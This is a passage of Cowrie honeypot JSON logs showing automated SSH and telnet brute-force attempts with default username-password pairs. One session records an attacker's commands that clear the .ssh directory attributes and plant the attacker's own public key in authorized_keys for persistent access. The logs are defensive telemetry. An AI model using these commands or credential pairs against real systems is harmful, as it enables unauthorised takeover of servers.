-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:06.453707Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"pass","message":"login attempt [steam/pass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:06.852657Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.088969Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.092430Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.096215Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.191704Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.426206Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.429970Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.529144Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.533227Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":60326,"dst_ip":"10.17.0.5","dst_port":22,"session":"a41a8af0c21c","protocol":"ssh","message":"New connection: 186.113.245.157:60326 (10.17.0.5:22) [session: a41a8af0c21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.628373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.635141Z","src_ip":"186.113.245.157","session":"a41a8af0c21c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:07.731534Z","src_ip":"186.113.245.157","session":"a41a8af0c21c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:08.148118Z","src_ip":"186.113.245.157","session":"a41a8af0c21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:09.247616Z","src_ip":"186.113.245.157","session":"a41a8af0c21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":32784,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bfba732259c","protocol":"ssh","message":"New connection: 186.113.245.157:32784 (10.17.0.5:22) [session: 5bfba732259c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:09.339951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:09.345379Z","src_ip":"186.113.245.157","session":"5bfba732259c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:09.462690Z","src_ip":"186.113.245.157","session":"5bfba732259c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:09.866879Z","src_ip":"186.113.245.157","session":"5bfba732259c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:09.961856Z","src_ip":"186.113.245.157","session":"5bfba732259c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:09.967520Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":33828,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2603fe0e7cf","protocol":"ssh","message":"New connection: 152.32.162.42:33828 (10.17.0.5:22) [session: c2603fe0e7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:12.612777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:12.617573Z","src_ip":"152.32.162.42","session":"c2603fe0e7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:12.871815Z","src_ip":"152.32.162.42","session":"c2603fe0e7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":52384,"dst_ip":"159.203.135.109","dst_port":23,"session":"93972f039d01","protocol":"telnet","message":"New connection: 190.183.203.15:52384 (159.203.135.109:23) [session: 93972f039d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:13.460003Z"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali@1234","message":"login attempt [ali/ali@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:13.920300Z","src_ip":"152.32.162.42","session":"c2603fe0e7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00228428840637,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:14.614558Z","src_ip":"190.183.203.15","session":"6b690d6aaa65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":52652,"dst_ip":"159.203.135.109","dst_port":23,"session":"b19ea4ac91ea","protocol":"telnet","message":"New connection: 190.183.203.15:52652 (159.203.135.109:23) [session: b19ea4ac91ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:14.968498Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:15.177519Z","src_ip":"152.32.162.42","session":"c2603fe0e7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":33842,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f23643754d7","protocol":"telnet","message":"New connection: 192.211.53.160:33842 (159.203.135.109:23) [session: 4f23643754d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:21.264138Z"}
{"eventid":"cowrie.session.closed","duration":1.5708446502685547,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:22.834832Z","src_ip":"192.211.53.160","session":"4f23643754d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42800,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f34815e6abb","protocol":"ssh","message":"New connection: 60.199.224.2:42800 (159.203.135.109:22) [session: 8f34815e6abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:24.223825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:24.228912Z","src_ip":"60.199.224.2","session":"8f34815e6abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:24.433605Z","src_ip":"60.199.224.2","session":"8f34815e6abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fedora","message":"login attempt [user/fedora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:25.284026Z","src_ip":"60.199.224.2","session":"8f34815e6abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:26.491770Z","src_ip":"60.199.224.2","session":"8f34815e6abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.864253520965576,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:32.048704Z","src_ip":"65.60.27.33","session":"4da5b3314034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33856,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dd0be850b3b","protocol":"telnet","message":"New connection: 38.54.119.93:33856 (10.17.0.5:23) [session: 3dd0be850b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:34.446182Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":56240,"dst_ip":"10.17.0.5","dst_port":22,"session":"d34666e669b1","protocol":"ssh","message":"New connection: 115.68.208.117:56240 (10.17.0.5:22) [session: d34666e669b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:37.663010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:37.667693Z","src_ip":"115.68.208.117","session":"d34666e669b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:37.881912Z","src_ip":"115.68.208.117","session":"d34666e669b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456Aa","message":"login attempt [ubuntu/123456Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:38.728899Z","src_ip":"115.68.208.117","session":"d34666e669b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.864349603652954,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:39.310445Z","src_ip":"38.54.119.93","session":"3dd0be850b3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.71080756187439,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:39.865497Z","src_ip":"192.211.53.160","session":"707aa77c71fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:39.942595Z","src_ip":"115.68.208.117","session":"d34666e669b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.93913197517395,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:41.086990Z","src_ip":"192.211.53.160","session":"b77010fa7c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":16010,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a8698f03a00","protocol":"ssh","message":"New connection: 177.85.247.230:16010 (10.17.0.5:22) [session: 6a8698f03a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:42.061727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:42.067026Z","src_ip":"177.85.247.230","session":"6a8698f03a00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh